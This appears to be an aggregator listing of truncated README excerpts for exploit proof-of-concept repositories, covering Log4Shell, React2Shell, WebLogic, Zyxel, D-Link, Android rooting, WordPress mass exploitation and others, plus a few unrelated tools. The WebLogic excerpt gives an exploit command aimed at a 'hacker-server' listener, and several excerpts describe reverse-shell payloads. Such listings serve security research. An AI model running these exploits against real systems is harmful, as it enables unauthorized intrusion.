CVE-2025-41656

CVE-2025-41656 项目总结 本项目旨在模拟CVE-2025-41656 ——一个针对 NodeRED 的未认证远程代码执行漏洞。为此，我们创建了一个小型 SCADA 系统，包含树莓派、执行器和传感器。树莓派中运行着 NodeRED 和 OpenPLC 容器，两者通过 Modbus TCP 通信以控制执行器。此 Python 概念验证脚本用于执行 CVE-2025-41656 攻击。目标是成功构建 PoC 并找到加固系统安全的修复措施。 入门指南 实验环境将包含以下组件 树莓派 3b+ 包含 NodeRED 和 OpenPLC 容器的 Docker Compose 文件 一个执...

log4shell-vulnerable-app

Log4Shell サンプル脆弱性アプリケーション CVE-2021-44228 このリポジトリには、CVE-2021-44228（通称 Log4Shell）に対して脆弱な Spring Boot Web アプリケーションが含まれています。 Log4j 2.14.1（spring-boot-starter-log4j2 2.6.1 経由）と JDK 1.8.0181 を使用しています。 アプリケーションの実行 実行方法： docker run --name vulnerable-app -p 8080:8080...

CVE-2025-55182

CVE-2025-55182 — React2Shell INDEX ABOUT ENVIRONMENT HOW TO USE ABOUT CVE-2025-55182 "React2Shell" は React Server Components の Flight プロトコルデシリアライザに存在する CVSS 10.0 の認証不要 RCE 脆弱性。 脆弱性の概要 React の Flight プロトコルクライアント内の reviveModel 関数がオブジェクトキーを hasOwnProperty で検証しないため、攻撃者は proto → constructor → Function...

CVE-2022-26265

CVE-2022-26265 Contao CMS 远程代码执行 该仓库属于 hgrab-framework 受影响的产品 Contao CMS v1.5.0 安装 在服务器上安装该应用 user@domain: git clone https://github.com/sh4den/CVE-2022-26265.git user@domain: cd ./CVE-2022-26265/ user@domain: python3 main.py 列表文件必须包含目标服务器，格式如下：://:/...

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE 替代方案：反向Shell与回调测试 概述 本仓库提供了针对 InvokeAI RCE 漏洞（CVE-2024-12029）的替代负载方法，适用于 SSH 密钥注入失败的情况。这些负载旨在测试 Pickle 反序列化是否实际发生，并提供替代的访问方法。 问题陈述 当 SSH 密钥注入负载成功投递（状态 201），但 SSH 访问仍需密码时，表明以下情况之一： 1. Pickle 反序列化未发生 2. 命令被阻止/沙箱化 3. 执行方法不兼容 解决方案：替代负载 📁...

POC_react2shell_CVE-2025-55182

Next.js React Server Components RCE 漏洞利用 通过原型污染利用 CVE-2025-55182 实现远程代码执行（RCE）。 作者： Severian N.K. 描述 该工具利用 Next.js 应用中 React Server Components 的原型污染漏洞，实现远程代码执行（RCE）。它支持直接命令执行和反弹 Shell 两种方式。 安装 本项目使用 Python 虚拟环境来管理依赖。首先，请确保你已安装 Python 3。 1. 创建虚拟环境： python3 -m venv venv 2. 激活环境并安装依赖： source...

CVE-2026-44613

CVE-2026-44613 捐赠 通过 PayPal 或扫描下方二维码来支持本项目的维护。 ⚡ 简单用法 请仅在安全且获得授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验环境 经授权的渗透测试环境 示例环境搭建： git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windows Gi...

weblogic-cve-2018-2628

weblogic-cve-2018-2628 weblogic-cve-2018-2628-exp python2 weblogic-cve-2018-2628-exp.py targetip targetport ysoserial-0.1-cve-2018-2628-all.jar bindip bindport JRMPClient python weblogic-cve-2018-2628-exp.py weblogic-server 7001 ysoserial-0.1-cve-2018-2628-all.jar hacker-server 2333 JRMPClient ja...

CVE-2024-28085

Wall-Escape CVE-2024-28085 util-linux 的 wall 命令未对命令行参数中的转义序列进行过滤。该漏洞代码于 2013 年在提交 cdd3cc7fa4 中被引入。自此之后的所有版本均受影响。完整报告可在此处查看：报告。我将此漏洞命名为 "WallEscape"。 该利用代码已在 Ubuntu 22.04 默认配置下成功窃取密码。 配置 请确保 throw.c 中的背景颜色和用户名设置为适当的值。 构建与运行 攻击设置 git clone https://github.com/skyler-ferrante/CVE-2024-28085.git...

hol-guard

HOL Guard: Open-Source Antivirus for AI Agents !HOL whole dark logohttps://assets.kitploit.com/production/public/readmes/...

ida-pro-mcp

IDA Pro MCP ⚠️ Archived — superseded by the official Hex-Rays IDA MCP server This project is no longer maintained. On 2026-09-27 Hex-Rays SA released the Official IDA MCP Server and IDA Nexus. Development stopped the same day at 1.0.0a4. For current use, install theirs: uvx ida-hcli mcp install. I...

CVE-2026-93958

D-Link R95 BE9500 Wi-Fi 7 智能路由器 厂商：D-Link 产品：R95 产品型号：BE9500 固件版本：1.01B06 漏洞类型：认证后命令注入 描述 D-Link R95 BE9500 Wi-Fi 7 智能路由器（固件版本 BE95001.00.16）在 DHMAPI（基于 HTTPS 的 SOAP）接口处理 SetTimeSettings 请求时存在命令注入漏洞。用户可控的 字段在未对 shell 元字符进行任何净化或校验 的情况下被存入配置数据库。随后，当配置同步到...

aquos-r7-ghostlock

AQUOS R7 GhostLock temporary root Device-specific Linux 5.10 port of GhostLock CVE-2026-43499 for the Sharp AQUOS R7. The validated target is the AQUOS R7 Mineva, SGA202SH/A202SH running Android 14 build 03.00.11, kernel 5.10.237-android12-9-00013-gd09ef2e980e0-ab13968955 SM8450. The previous...

humane-aipin-ghostlock

GhostLock for Humane AI Pin GhostLock for Humane AI Pin is an open-source, boot-scoped root proof of concept for one exact retail firmware build. It exercises CVE-2026-43499, a Linux rtmutex use-after-free, from an ordinary authorized ADB shell. The runner is deliberately narrow. It checks the...

CVE-2026-71217-PoC

简介 一个极其 vibe-coded 的 CVE-2026-71217 演示 - 针对 iperf3 3.16 测试 演示 reelix@reelix-cachy  /CVE-2026-71217  docker container ls -la CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 50d4673a0b27 iperf3:3.16-vuln "iperf3 -s" 41 minutes ago Exited 139 3 minutes ago iperf3-3.16-server...

CVE-2026-5524-PoC

CVE-2026-5524 — Divi Form Builder 未授权 RCE 针对 CVE-2026-5524 的大规模利用工具包，该漏洞是 WordPress 插件 Divi Form Builder = 5.1.8 中的未授权任意文件上传漏洞，可导致远程代码执行。 字段| 值 ---|--- CVE| 2026-5524 CVSS| 9.8 严重 向量| AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 受影响版本| Divi Form Builder = 5.1.8 已修复版本| 5.1.9 类型| 未授权文件上传导致 RCE 研究者| 0xd4rk5i...

ThinkAdmin-CVE-2020-25540

ThinkAdmin-CVE-2020-25540 ThinkAdmin CVE-2020-25540 の POC（概念実証） Usage $ python3 exploit.py -t -c...

CVE-2026-6837-zyxel-export-cgi-command-injection

CVE-2026-6837：Zyxel export-cgi PKCS12 命令注入 本仓库整理了 CVE-2026-6837 的公开分析文章、快速验证脚本及配套证据。 这是什么 CVE-2026-6837 是 Zyxel export-cgi 处理器中的一个认证后命令注入漏洞。在 category=pkcs12 分支中，处理器根据证书名称和导出密码构造一条 shell 命令，然后将该字符串传递给 system。密码中精心构造的双引号会突破预期字符串边界并执行 shell 语法。 本仓库中的本地逆向工作以 WAX650S V7.10ABRM.4C0 为基准，但 Zyxel 于...

aws-vault

AWS Vault !WARNING 该项目已被废弃，不再接收任何更新。如果您希望继续接收更新 或做出贡献，请随时查看活跃分支：https://github.com/ByteNess/aws-vault AWS Vault 是一款用于在开发环境中安全存储和访问 AWS 凭证的工具。 AWS Vault 将 IAM 凭证存储在操作系统的安全密钥库中，然后基于这些凭证生成临时凭证，以暴露给您的 shell 和应用程序。它旨在与 AWS CLI 工具互补，并能够识别 /.aws/config 中的配置文件和配置。 查看公告博客文章了解更多详情。 安装 您可以通过以下方式安装 AWS Vault...

aws-vault

AWS Vault !WARNING This project has been abandoned and it's not receiving any more updates. If you want to continue to receive updates or contribute, please feel free to look at the active fork at: https://github.com/ByteNess/aws-vault AWS Vault is a tool to securely store and access AWS...